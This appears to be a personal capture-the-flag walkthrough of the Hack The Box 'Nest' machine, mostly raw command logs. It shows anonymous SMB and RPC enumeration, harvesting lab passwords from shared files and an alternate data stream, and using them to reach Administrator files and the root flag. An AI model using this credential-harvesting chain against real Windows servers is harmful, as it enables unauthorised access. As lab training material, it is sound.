SMBMAP

RPCCLIENT(ANONYMOUS)

SMCCLIENT

MOUNT

TELNET

DEBUG

PORT STATE SERVICE VERSION

445/tcp open microsoft-ds?

4386/tcp open unknown

| fingerprint-strings:

| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:

| Reporting Service V1.2

| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:

| Reporting Service V1.2

| Unrecognised command

| Help:

| Reporting Service V1.2

| This service allows users to run queries against databases using the legacy HQK format

| AVAILABLE COMMANDS ---

| LIST

| SETDIR <Directory_Name>

| RUNQUERY <Query_ID>

| DEBUG <Password>

|_ HELP <Command>

RPC ENUM

root@kali:/home/kali/Desktop/hackthebox/nest# rpcclient -U "" -H nest.htb

rpcclient $> enumdomusers

rpcclient $> querydominfo

Domain: HTB-NEST

Server:

Comment:

Total Users: 5

Total Groups: 1

Total Aliases: 0

Sequence No: 62

Force Logoff: -1

Domain Server State: 0x1

Server Role: ROLE_DOMAIN_PDC

Unknown 3: 0x1

SMB ENUM

root@kali:/home/kali/Desktop/hackthebox/nest# smbclient -L nest.htb

Enter WORKGROUP\root's password:

Sharename	Type	Comment
ADMIN$	Disk	Remote Admin
C$	Disk	Default share
Data	Disk	
IPC$	IPC	Remote IPC
Secure$	Disk	
Users	Disk	

root@kali:/home/kali/Desktop/hackthebox/nest# smbclient -U "" //nest.htb/Data

rpcclient -U "" -H nest.htb (anonymous login)

root@kali:/home/kali/Desktop/hackthebox/nest# mount -t cifs //nest.htb/Data /home/kali/Desktop/hackthebox/nest/mnt/smb

root@kali:/home/kali/Desktop/hackthebox/nest/mnt/smb/Shared/Templates/HR# cat 'Welcome Email.txt'

We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:

\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the

IT department and use the credentials below until all systems have been set up for you.

Username: TempUser

Password: welcome2019

Thank you

root@kali:/home/kali/Desktop/hackthebox/nest# smbclient //HTB-NEST/Data -U TempUser

Enter WORKGROUP\TempUser's password:

root@kali:/home/kali/Desktop/hackthebox/nest# mount -t cifs //nest.htb/Data /home/kali/Desktop/hackthebox/nest/mnt/smb -o username=TempUser,password=welcome2019

root@kali:/home/kali/Desktop/hackthebox/nest/mnt/share/IT/Configs/RU Scanner# cat RU_config.xml

<?xml version="1.0"?>

<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">

  <Port>389</Port>

  <Username>c.smith</Username>

  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>

fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=

https://dotnetfiddle.net/kiYWi4

xRxRxPANCAK3SxRxRx

root@kali:/home/kali/Desktop/hackthebox/nest# smbclient -U c.smith //HTB-NEST/Users

Enter WORKGROUP\c.smith's password:

Try "help" to get a list of possible commands.

smb: \> dir

```
  .                   D        0  Sat Jan 25 18:04:21 2020
  ..                  D        0  Sat Jan 25 18:04:21 2020
  Administrator       D        0  Fri Aug  9 11:08:23 2019
  C.Smith             D        0  Sun Jan 26 02:21:44 2020
  L.Frost             D        0  Thu Aug  8 13:03:01 2019
  R.Thompson          D        0  Thu Aug  8 13:02:50 2019
  TempUser            D        0  Wed Aug  7 18:55:56 2019
smb: \> cd C.Smith\
smb: \C.Smith\> dir
  .                   D        0  Sun Jan 26 02:21:44 2020
  ..                  D        0  Sun Jan 26 02:21:44 2020
  HQK Reporting       D        0  Thu Aug  8 19:06:17 2019
  user.txt            A       32  Thu Aug  8 19:05:24 2019
```

```
root@kali:/home/kali/Desktop/hackthebox/nest# mount -t cifs -o 'username=c.smith,password=xRxRxPANCAK3SxRxRx'
//HTB-NEST/Users /home/kali/Desktop/hackthebox/nest/mnt/users/
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 07:06:12 PM 2019 EDT
access_time:    Thu Aug  8 07:06:12 PM 2019 EDT
write_time:     Thu Aug  8 07:08:17 PM 2019 EDT
change_time:    Thu Aug  8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 byt
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt":Password
root@kali:/home/kali/Desktop/hackthebox/nest/mnt# cat 'Debug Mode Password.txt:Password'
WBQ201953D8w
```

telnet 10.10.10.178 4386

DEBUG WBQ201953D8w

Setdir..

Setdir LDAP

>showquery 2

Domain=nest.local

Port=389

BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local

User=Administrator

Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

https://dotnetfiddle.net/LdhDaa

XtH4nkS4Pl4y1nGX

smbclient //10.10.10.178/c$ -U Administrator

```
                10485247 blocks of size 4096. 6545279 blocks available
smb: \Users\Administrator\> cd Desktop\
smb: \Users\Administrator\Desktop\> ls
  .                                   DR        0  Sun Jan 26 02:20:50 2020
  ..                                  DR        0  Sun Jan 26 02:20:50 2020
  desktop.ini                        AHS      282  Sat Jan 25 17:02:44 2020
  root.txt                            A       32  Mon Aug  5 18:27:26 2019

                10485247 blocks of size 4096. 6545279 blocks available
smb: \Users\Administrator\Desktop\> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 32 as root.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \Users\Administrator\Desktop\>
```

6594c2eb084bc0f08a42f0b94b878c41